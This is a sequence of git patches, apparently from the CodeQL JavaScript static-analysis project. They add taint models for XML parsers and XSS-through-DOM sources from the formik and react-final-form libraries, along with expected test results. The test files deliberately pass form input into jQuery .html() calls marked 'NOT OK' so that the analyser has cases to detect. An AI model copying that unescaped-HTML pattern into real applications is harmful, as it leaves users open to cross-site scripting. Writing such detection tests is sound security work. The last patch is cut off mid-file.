-7,4 +7,9 @@ parser.on("text", text => { sink(text); // NOT OK }); + + var parseString = require('xml2js').parseString; + parseString(source(), function (err, result) { + sink(result); // NOT OK + }); })(); \ No newline at end of file From 73f7cd149f149d635384e419f186f7c6d49234c8 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 4 Feb 2021 17:50:49 +0100 Subject: [PATCH 1131/1241] add model for `sax` --- .../javascript/frameworks/XmlParsers.qll | 32 +++++++++++++++++++ .../TaintTracking/BasicTaintTracking.expected | 1 + .../test/library-tests/TaintTracking/xml.js | 10 ++++++ 3 files changed, 43 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll index c9f2b993a5c..de203a88f04 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll @@ -194,6 +194,38 @@ module XML { } } + /** + * An invocation of `sax`. + */ + private class SaxInvocation extends XML::ParserInvocation { + js::DataFlow::InvokeNode parser; + + SaxInvocation() { + exists(js::API::Node imp | imp = js::API::moduleImport("sax") | + parser = imp.getMember("parser").getACall() + or + parser = imp.getMember("SAXParser").getAnInstantiation() + ) and + this = parser.getAMemberCall("write").asExpr() + } + + override js::Expr getSourceArgument() { result = getArgument(0) } + + override predicate resolvesEntities(XML::EntityKind kind) { + // sax-js does not expand entities. + none() + } + + override js::DataFlow::Node getAResult() { + result = + parser + .getAPropertyWrite(any(string s | s.matches("on%"))) + .getRhs() + .getAFunctionValue() + .getAParameter() + } + } + private class XMLParserTaintStep extends js::TaintTracking::AdditionalTaintStep { XML::ParserInvocation parser; diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index 8b2453a3cb1..39a370ecf71 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -147,3 +147,4 @@ typeInferenceMismatch | tst.js:2:13:2:20 | source() | tst.js:48:10:48:22 | new Buffer(x) | | xml.js:5:18:5:25 | source() | xml.js:8:14:8:17 | text | | xml.js:12:17:12:24 | source() | xml.js:13:14:13:19 | result | +| xml.js:23:18:23:25 | source() | xml.js:20:14:20:17 | attr | diff --git a/javascript/ql/test/library-tests/TaintTracking/xml.js b/javascript/ql/test/library-tests/TaintTracking/xml.js index 25e733c8fab..a603f3d1c0e 100644 --- a/javascript/ql/test/library-tests/TaintTracking/xml.js +++ b/javascript/ql/test/library-tests/TaintTracking/xml.js @@ -12,4 +12,14 @@ parseString(source(), function (err, result) { sink(result); // NOT OK }); + + var sax = require("sax"); + var parser = sax.parser(strict); + + parser.onattribute = function (attr) { + sink(attr); // NOT OK + }; + + parser.write(source()).close(); + })(); \ No newline at end of file From e2a66bf3ed5474f6b84528126754b4ba5bb9cc48 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 4 Feb 2021 18:16:19 +0100 Subject: [PATCH 1132/1241] add model for `xml-js` --- .../javascript/frameworks/XmlParsers.qll | 21 +++++++++++++++++++ .../TaintTracking/BasicTaintTracking.expected | 1 + .../test/library-tests/TaintTracking/xml.js | 3 +++ 3 files changed, 25 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll index de203a88f04..4a9c670ba37 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll @@ -226,6 +226,27 @@ module XML { } } + /** + * An invocation of `xml-js`. + */ + private class XmlJSInvocation extends XML::ParserInvocation { + XmlJSInvocation() { + this = + js::DataFlow::moduleMember("xml-js", ["xml2json", "xml2js", "json2xml", "js2xml"]) + .getACall() + .asExpr() + } + + override js::Expr getSourceArgument() { result = getArgument(0) } + + override predicate resolvesEntities(XML::EntityKind kind) { + // xml-js does not expand custom entities. + none() + } + + override js::DataFlow::Node getAResult() { result.asExpr() = this } + } + private class XMLParserTaintStep extends js::TaintTracking::AdditionalTaintStep { XML::ParserInvocation parser; diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index 39a370ecf71..ab48576b374 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -148,3 +148,4 @@ typeInferenceMismatch | xml.js:5:18:5:25 | source() | xml.js:8:14:8:17 | text | | xml.js:12:17:12:24 | source() | xml.js:13:14:13:19 | result | | xml.js:23:18:23:25 | source() | xml.js:20:14:20:17 | attr | +| xml.js:26:27:26:34 | source() | xml.js:26:10:26:39 | convert ... (), {}) | diff --git a/javascript/ql/test/library-tests/TaintTracking/xml.js b/javascript/ql/test/library-tests/TaintTracking/xml.js index a603f3d1c0e..44989e7a733 100644 --- a/javascript/ql/test/library-tests/TaintTracking/xml.js +++ b/javascript/ql/test/library-tests/TaintTracking/xml.js @@ -22,4 +22,7 @@ parser.write(source()).close(); + var convert = require('xml-js'); + sink(convert.xml2json(source(), {})); // NOT OK + })(); \ No newline at end of file From 0ca231059474c1535e3fd19898acb46dd463ff80 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Thu, 4 Feb 2021 18:26:24 +0100 Subject: [PATCH 1133/1241] add model for htmlparser2 --- .../javascript/frameworks/XmlParsers.qll | 29 +++++++++++++++++++ .../TaintTracking/BasicTaintTracking.expected | 1 + .../test/library-tests/TaintTracking/xml.js | 9 ++++++ 3 files changed, 39 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll index 4a9c670ba37..80c2ff8a608 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/XmlParsers.qll @@ -247,6 +247,35 @@ module XML { override js::DataFlow::Node getAResult() { result.asExpr() = this } } + /** + * An invocation of `htmlparser2`. + */ + private class HtmlParser2Invocation extends XML::ParserInvocation { + js::DataFlow::NewNode parser; + + HtmlParser2Invocation() { + parser = js::DataFlow::moduleMember("htmlparser2", "Parser").getAnInstantiation() and + this = parser.getAMemberCall("write").asExpr() + } + + override js::Expr getSourceArgument() { result = getArgument(0) } + + override predicate resolvesEntities(XML::EntityKind kind) { + // htmlparser2 does not expand entities. + none() + } + + override js::DataFlow::Node getAResult() { + result = + parser + .getArgument(0) + .getALocalSource() + .getAPropertySource() + .getAFunctionValue() + .getAParameter() + } + } + private class XMLParserTaintStep extends js::TaintTracking::AdditionalTaintStep { XML::ParserInvocation parser; diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index ab48576b374..c98e9ad7e79 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -149,3 +149,4 @@ typeInferenceMismatch | xml.js:12:17:12:24 | source() | xml.js:13:14:13:19 | result | | xml.js:23:18:23:25 | source() | xml.js:20:14:20:17 | attr | | xml.js:26:27:26:34 | source() | xml.js:26:10:26:39 | convert ... (), {}) | +| xml.js:34:18:34:25 | source() | xml.js:31:18:31:21 | name | diff --git a/javascript/ql/test/library-tests/TaintTracking/xml.js b/javascript/ql/test/library-tests/TaintTracking/xml.js index 44989e7a733..8e3785d4a2b 100644 --- a/javascript/ql/test/library-tests/TaintTracking/xml.js +++ b/javascript/ql/test/library-tests/TaintTracking/xml.js @@ -25,4 +25,13 @@ var convert = require('xml-js'); sink(convert.xml2json(source(), {})); // NOT OK + const htmlparser2 = require("htmlparser2"); + const parser = new htmlparser2.Parser({ + onopentag(name, attributes) { + sink(name) // NOT OK + } + }); + parser.write(source()); + parser.end(); + })(); \ No newline at end of file From 4969a1ef4fee604b4eca05aab08f32f6333904de Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 8 Feb 2021 17:34:36 +0100 Subject: [PATCH 1134/1241] add change note --- javascript/change-notes/2021-02-08-xml-parser-taint.md | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 javascript/change-notes/2021-02-08-xml-parser-taint.md diff --git a/javascript/change-notes/2021-02-08-xml-parser-taint.md b/javascript/change-notes/2021-02-08-xml-parser-taint.md new file mode 100644 index 00000000000..ab59b4f3b92 --- /dev/null +++ b/javascript/change-notes/2021-02-08-xml-parser-taint.md @@ -0,0 +1,8 @@ +lgtm,codescanning +* The security queries now track taint through XML parsers. + Affected packages are + [xml2js](https://www.npmjs.com/package/xml2js) and + [sax](https://www.npmjs.com/package/sax) and + [xml-js](https://www.npmjs.com/package/xml-js) and + [htmlparser2](https://www.npmjs.com/package/htmlparser2) and + [node-expat](https://www.npmjs.com/package/node-expat) From d1087d4e41a017558daa46be2ffb1f471200ca6d Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Sat, 6 Feb 2021 23:24:33 +0100 Subject: [PATCH 1135/1241] move sources from XssThroughDom into a customizations file --- .../security/dataflow/XssThroughDom.qll | 86 +--------------- .../dataflow/XssThroughDomCustomizations.qll | 99 +++++++++++++++++++ 2 files changed, 100 insertions(+), 85 deletions(-) create mode 100644 javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll index 8c3157fcce4..f0f3c9d973c 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDom.qll @@ -11,8 +11,8 @@ private import semmle.javascript.dataflow.InferredTypes */ module XssThroughDom { import Xss::XssThroughDom + private import XssThroughDomCustomizations::XssThroughDom private import semmle.javascript.security.dataflow.Xss::DomBasedXss as DomBasedXss - private import semmle.javascript.dataflow.InferredTypes private import semmle.javascript.security.dataflow.UnsafeJQueryPluginCustomizations::UnsafeJQueryPlugin as UnsafeJQuery /** @@ -40,88 +40,4 @@ module XssThroughDom { DomBasedXss::isOptionallySanitizedEdge(pred, succ) } } - - /** - * Gets an attribute name that could store user-controlled data. - * - * Attributes such as "id", "href", and "src" are often used as input to HTML. - * However, they are either rarely controlable by a user, or already a sink for other XSS vulnerabilities. - * Such attributes are therefore ignored. - */ - bindingset[result] - string unsafeAttributeName() { - result.regexpMatch("data-.*") or - result.regexpMatch("aria-.*") or - result = ["name", "value", "title", "alt"] - } - - /** - * A source for text from the DOM from a JQuery method call. - */ - class JQueryTextSource extends Source, JQuery::MethodCall { - JQueryTextSource() { - ( - this.getMethodName() = ["text", "val"] and this.getNumArgument() = 0 - or - this.getMethodName() = "attr" and - this.getNumArgument() = 1 and - forex(InferredType t | t = this.getArgument(0).analyze().getAType() | t = TTString()) and - this.getArgument(0).mayHaveStringValue(unsafeAttributeName()) - ) and - // looks like a $("

    " + ... ) source, which is benign for this query. - not exists(DataFlow::Node prefix | - DomBasedXss::isPrefixOfJQueryHtmlString(this.getReceiver() - .(DataFlow::CallNode) - .getAnArgument(), prefix) - | - prefix.getStringValue().regexpMatch("\\s*<.*") - ) - } - } - - /** - * A source for text from the DOM from a DOM property read or call to `getAttribute()`. - */ - class DOMTextSource extends Source { - DOMTextSource() { - exists(DataFlow::PropRead read | read = this | - read.getBase().getALocalSource() = DOM::domValueRef() and - read.mayHavePropertyName(["innerText", "textContent", "value", "name"]) - ) - or - exists(DataFlow::MethodCallNode mcn | mcn = this | - mcn.getReceiver().getALocalSource() = DOM::domValueRef() and - mcn.getMethodName() = "getAttribute" and - mcn.getArgument(0).mayHaveStringValue(unsafeAttributeName()) - ) - } - } - - /** - * A test of form `typeof x === "something"`, preventing `x` from being a string in some cases. - * - * This sanitizer helps prune infeasible paths in type-overloaded functions. - */ - class TypeTestGuard extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { - override EqualityTest astNode; - Expr operand; - boolean polarity; - - TypeTestGuard() { - exists(TypeofTag tag | TaintTracking::isTypeofGuard(astNode, operand, tag) | - // typeof x === "string" sanitizes `x` when it evaluates to false - tag = "string" and - polarity = astNode.getPolarity().booleanNot() - or - // typeof x === "object" sanitizes `x` when it evaluates to true - tag != "string" and - polarity = astNode.getPolarity() - ) - } - - override predicate sanitizes(boolean outcome, Expr e) { - polarity = outcome and - e = operand - } - } } diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll new file mode 100644 index 00000000000..3b7a774de3f --- /dev/null +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll @@ -0,0 +1,99 @@ +/** + * Provides default sources for reasoning about + * cross-site scripting vulnerabilities through the DOM. + */ + +import javascript + +/** + * Sources for cross-site scripting vulnerabilities through the DOM. + */ +module XssThroughDom { + import Xss::XssThroughDom + private import semmle.javascript.dataflow.InferredTypes + private import semmle.javascript.security.dataflow.Xss::DomBasedXss as DomBasedXss + + /** + * Gets an attribute name that could store user-controlled data. + * + * Attributes such as "id", "href", and "src" are often used as input to HTML. + * However, they are either rarely controlable by a user, or already a sink for other XSS vulnerabilities. + * Such attributes are therefore ignored. + */ + bindingset[result] + string unsafeAttributeName() { + result.regexpMatch("data-.*") or + result.regexpMatch("aria-.*") or + result = ["name", "value", "title", "alt"] + } + + /** + * A source for text from the DOM from a JQuery method call. + */ + class JQueryTextSource extends Source, JQuery::MethodCall { + JQueryTextSource() { + ( + this.getMethodName() = ["text", "val"] and this.getNumArgument() = 0 + or + this.getMethodName() = "attr" and + this.getNumArgument() = 1 and + forex(InferredType t | t = this.getArgument(0).analyze().getAType() | t = TTString()) and + this.getArgument(0).mayHaveStringValue(unsafeAttributeName()) + ) and + // looks like a $("

    " + ... ) source, which is benign for this query. + not exists(DataFlow::Node prefix | + DomBasedXss::isPrefixOfJQueryHtmlString(this.getReceiver() + .(DataFlow::CallNode) + .getAnArgument(), prefix) + | + prefix.getStringValue().regexpMatch("\\s*<.*") + ) + } + } + + /** + * A source for text from the DOM from a DOM property read or call to `getAttribute()`. + */ + class DOMTextSource extends Source { + DOMTextSource() { + exists(DataFlow::PropRead read | read = this | + read.getBase().getALocalSource() = DOM::domValueRef() and + read.mayHavePropertyName(["innerText", "textContent", "value", "name"]) + ) + or + exists(DataFlow::MethodCallNode mcn | mcn = this | + mcn.getReceiver().getALocalSource() = DOM::domValueRef() and + mcn.getMethodName() = "getAttribute" and + mcn.getArgument(0).mayHaveStringValue(unsafeAttributeName()) + ) + } + } + + /** + * A test of form `typeof x === "something"`, preventing `x` from being a string in some cases. + * + * This sanitizer helps prune infeasible paths in type-overloaded functions. + */ + class TypeTestGuard extends TaintTracking::SanitizerGuardNode, DataFlow::ValueNode { + override EqualityTest astNode; + Expr operand; + boolean polarity; + + TypeTestGuard() { + exists(TypeofTag tag | TaintTracking::isTypeofGuard(astNode, operand, tag) | + // typeof x === "string" sanitizes `x` when it evaluates to false + tag = "string" and + polarity = astNode.getPolarity().booleanNot() + or + // typeof x === "object" sanitizes `x` when it evaluates to true + tag != "string" and + polarity = astNode.getPolarity() + ) + } + + override predicate sanitizes(boolean outcome, Expr e) { + polarity = outcome and + e = operand + } + } +} From ff3950ce98023d8db4c2beadd39a3b66501d8746 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Sun, 7 Feb 2021 12:58:10 +0100 Subject: [PATCH 1136/1241] add model for formik --- .../dataflow/XssThroughDomCustomizations.qll | 41 +++++++++++++++ .../XssThroughDom/XssThroughDom.expected | 52 +++++++++++++++++++ .../Security/CWE-079/XssThroughDom/forms.js | 39 ++++++++++++++ 3 files changed, 132 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll index 3b7a774de3f..8990f69aa0d 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll @@ -96,4 +96,45 @@ module XssThroughDom { e = operand } } + + /** + * A module for form inputs seen as sources for xss-through-dom. + */ + module Forms { + /** + * A reference to an import of `Formik`. + */ + private DataFlow::SourceNode formik() { + result = DataFlow::moduleImport("formik") + or + result = DataFlow::globalVarRef("Formik") + } + + /** + * An object containing input values from a form build with `Formik`. + */ + class FormikSource extends Source { + FormikSource() { + exists(JSXElement elem | + formik().getAPropertyRead("Formik").flowsToExpr(elem.getNameExpr()) + | + this = + elem.getAttributeByName(["validate", "onSubmit"]) + .getValue() + .flow() + .getAFunctionValue() + .getParameter(0) + ) + or + this = + formik() + .getAMemberCall("withFormik") + .getOptionArgument(0, ["validate", "handleSubmit"]) + .getAFunctionValue() + .getParameter(0) + or + this = formik().getAMemberCall("useFormikContext").getAPropertyRead("values") + } + } + } } diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index ae003b99243..5c938cd6c1d 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -1,4 +1,30 @@ nodes +| forms.js:8:23:8:28 | values | +| forms.js:8:23:8:28 | values | +| forms.js:9:31:9:36 | values | +| forms.js:9:31:9:40 | values.foo | +| forms.js:9:31:9:40 | values.foo | +| forms.js:11:24:11:29 | values | +| forms.js:11:24:11:29 | values | +| forms.js:12:31:12:36 | values | +| forms.js:12:31:12:40 | values.bar | +| forms.js:12:31:12:40 | values.bar | +| forms.js:24:15:24:20 | values | +| forms.js:24:15:24:20 | values | +| forms.js:25:23:25:28 | values | +| forms.js:25:23:25:34 | values.email | +| forms.js:25:23:25:34 | values.email | +| forms.js:28:20:28:25 | values | +| forms.js:28:20:28:25 | values | +| forms.js:29:23:29:28 | values | +| forms.js:29:23:29:34 | values.email | +| forms.js:29:23:29:34 | values.email | +| forms.js:34:11:34:53 | values | +| forms.js:34:13:34:18 | values | +| forms.js:34:13:34:18 | values | +| forms.js:35:19:35:24 | values | +| forms.js:35:19:35:30 | values.email | +| forms.js:35:19:35:30 | values.email | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | @@ -50,6 +76,27 @@ nodes | xss-through-dom.js:79:4:79:34 | documen ... t.value | | xss-through-dom.js:79:4:79:34 | documen ... t.value | edges +| forms.js:8:23:8:28 | values | forms.js:9:31:9:36 | values | +| forms.js:8:23:8:28 | values | forms.js:9:31:9:36 | values | +| forms.js:9:31:9:36 | values | forms.js:9:31:9:40 | values.foo | +| forms.js:9:31:9:36 | values | forms.js:9:31:9:40 | values.foo | +| forms.js:11:24:11:29 | values | forms.js:12:31:12:36 | values | +| forms.js:11:24:11:29 | values | forms.js:12:31:12:36 | values | +| forms.js:12:31:12:36 | values | forms.js:12:31:12:40 | values.bar | +| forms.js:12:31:12:36 | values | forms.js:12:31:12:40 | values.bar | +| forms.js:24:15:24:20 | values | forms.js:25:23:25:28 | values | +| forms.js:24:15:24:20 | values | forms.js:25:23:25:28 | values | +| forms.js:25:23:25:28 | values | forms.js:25:23:25:34 | values.email | +| forms.js:25:23:25:28 | values | forms.js:25:23:25:34 | values.email | +| forms.js:28:20:28:25 | values | forms.js:29:23:29:28 | values | +| forms.js:28:20:28:25 | values | forms.js:29:23:29:28 | values | +| forms.js:29:23:29:28 | values | forms.js:29:23:29:34 | values.email | +| forms.js:29:23:29:28 | values | forms.js:29:23:29:34 | values.email | +| forms.js:34:11:34:53 | values | forms.js:35:19:35:24 | values | +| forms.js:34:13:34:18 | values | forms.js:34:11:34:53 | values | +| forms.js:34:13:34:18 | values | forms.js:34:11:34:53 | values | +| forms.js:35:19:35:24 | values | forms.js:35:19:35:30 | values.email | +| forms.js:35:19:35:24 | values | forms.js:35:19:35:30 | values.email | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | @@ -70,6 +117,11 @@ edges | xss-through-dom.js:73:20:73:41 | $("inpu ... 0).name | xss-through-dom.js:73:9:73:41 | selector | | xss-through-dom.js:79:4:79:34 | documen ... t.value | xss-through-dom.js:79:4:79:34 | documen ... t.value | #select +| forms.js:9:31:9:40 | values.foo | forms.js:8:23:8:28 | values | forms.js:9:31:9:40 | values.foo | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:8:23:8:28 | values | DOM text | +| forms.js:12:31:12:40 | values.bar | forms.js:11:24:11:29 | values | forms.js:12:31:12:40 | values.bar | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:11:24:11:29 | values | DOM text | +| forms.js:25:23:25:34 | values.email | forms.js:24:15:24:20 | values | forms.js:25:23:25:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:24:15:24:20 | values | DOM text | +| forms.js:29:23:29:34 | values.email | forms.js:28:20:28:25 | values | forms.js:29:23:29:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:28:20:28:25 | values | DOM text | +| forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js new file mode 100644 index 00000000000..2159c424dfe --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js @@ -0,0 +1,39 @@ +import React from 'react'; +import { Formik, withFormik, useFormikContext } from 'formik'; + +const FormikBasic = () => ( +

    + { + $("#id").html(values.foo); // NOT OK + }} + onSubmit={(values, { setSubmitting }) => { + $("#id").html(values.bar); // NOT OK + }} + > + {(inputs) => ( +
    + )} +
    +
    +); + +const FormikEnhanced = withFormik({ + mapPropsToValues: () => ({ name: '' }), + validate: values => { + $("#id").html(values.email); // NOT OK + }, + + handleSubmit: (values, { setSubmitting }) => { + $("#id").html(values.email); // NOT OK + } +})(MyForm); + +(function () { + const { values, submitForm } = useFormikContext(); + $("#id").html(values.email); // NOT OK + + $("#id").html(submitForm.email); // OK +}) + From 458dda9d2571f16048abee1f96d6e0bde26afa2f Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Sun, 7 Feb 2021 22:47:57 +0100 Subject: [PATCH 1137/1241] add xss-through-dom source from react-final-form --- .../dataflow/XssThroughDomCustomizations.qll | 18 ++++++++++++++++++ .../XssThroughDom/XssThroughDom.expected | 10 ++++++++++ .../Security/CWE-079/XssThroughDom/forms.js | 15 +++++++++++++++ 3 files changed, 43 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll index 8990f69aa0d..ada7412f8cb 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/XssThroughDomCustomizations.qll @@ -136,5 +136,23 @@ module XssThroughDom { this = formik().getAMemberCall("useFormikContext").getAPropertyRead("values") } } + + /** + * An object containing input values from a form build with `react-final-form`. + */ + class ReactFinalFormSource extends Source { + ReactFinalFormSource() { + exists(JSXElement elem | + DataFlow::moduleMember("react-final-form", "Form").flowsToExpr(elem.getNameExpr()) + | + this = + elem.getAttributeByName("onSubmit") + .getValue() + .flow() + .getAFunctionValue() + .getParameter(0) + ) + } + } } } diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected index 5c938cd6c1d..b7621d89ab7 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/XssThroughDom.expected @@ -25,6 +25,11 @@ nodes | forms.js:35:19:35:24 | values | | forms.js:35:19:35:30 | values.email | | forms.js:35:19:35:30 | values.email | +| forms.js:44:21:44:26 | values | +| forms.js:44:21:44:26 | values | +| forms.js:45:21:45:26 | values | +| forms.js:45:21:45:33 | values.stooge | +| forms.js:45:21:45:33 | values.stooge | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | @@ -97,6 +102,10 @@ edges | forms.js:34:13:34:18 | values | forms.js:34:11:34:53 | values | | forms.js:35:19:35:24 | values | forms.js:35:19:35:30 | values.email | | forms.js:35:19:35:24 | values | forms.js:35:19:35:30 | values.email | +| forms.js:44:21:44:26 | values | forms.js:45:21:45:26 | values | +| forms.js:44:21:44:26 | values | forms.js:45:21:45:26 | values | +| forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | +| forms.js:45:21:45:26 | values | forms.js:45:21:45:33 | values.stooge | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | @@ -122,6 +131,7 @@ edges | forms.js:25:23:25:34 | values.email | forms.js:24:15:24:20 | values | forms.js:25:23:25:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:24:15:24:20 | values | DOM text | | forms.js:29:23:29:34 | values.email | forms.js:28:20:28:25 | values | forms.js:29:23:29:34 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:28:20:28:25 | values | DOM text | | forms.js:35:19:35:30 | values.email | forms.js:34:13:34:18 | values | forms.js:35:19:35:30 | values.email | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:34:13:34:18 | values | DOM text | +| forms.js:45:21:45:33 | values.stooge | forms.js:44:21:44:26 | values | forms.js:45:21:45:33 | values.stooge | $@ is reinterpreted as HTML without escaping meta-characters. | forms.js:44:21:44:26 | values | DOM text | | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | xss-through-dom.js:2:16:2:34 | $("textarea").val() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:2:16:2:34 | $("textarea").val() | DOM text | | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:4:16:4:40 | $(".som ... .text() | DOM text | | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | $@ is reinterpreted as HTML without escaping meta-characters. | xss-through-dom.js:8:16:8:53 | $(".som ... arget") | DOM text | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js index 2159c424dfe..7054b8333d7 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js +++ b/javascript/ql/test/query-tests/Security/CWE-079/XssThroughDom/forms.js @@ -37,3 +37,18 @@ const FormikEnhanced = withFormik({ $("#id").html(submitForm.email); // OK }) +import { Form } from 'react-final-form' + +const App = () => ( +
    { + $("#id").html(values.stooge); // NOT OK + }} + initialValues={{ stooge: 'larry', employed: false }} + render={({ handleSubmit, form, submitting, pristine, values }) => ( + + +
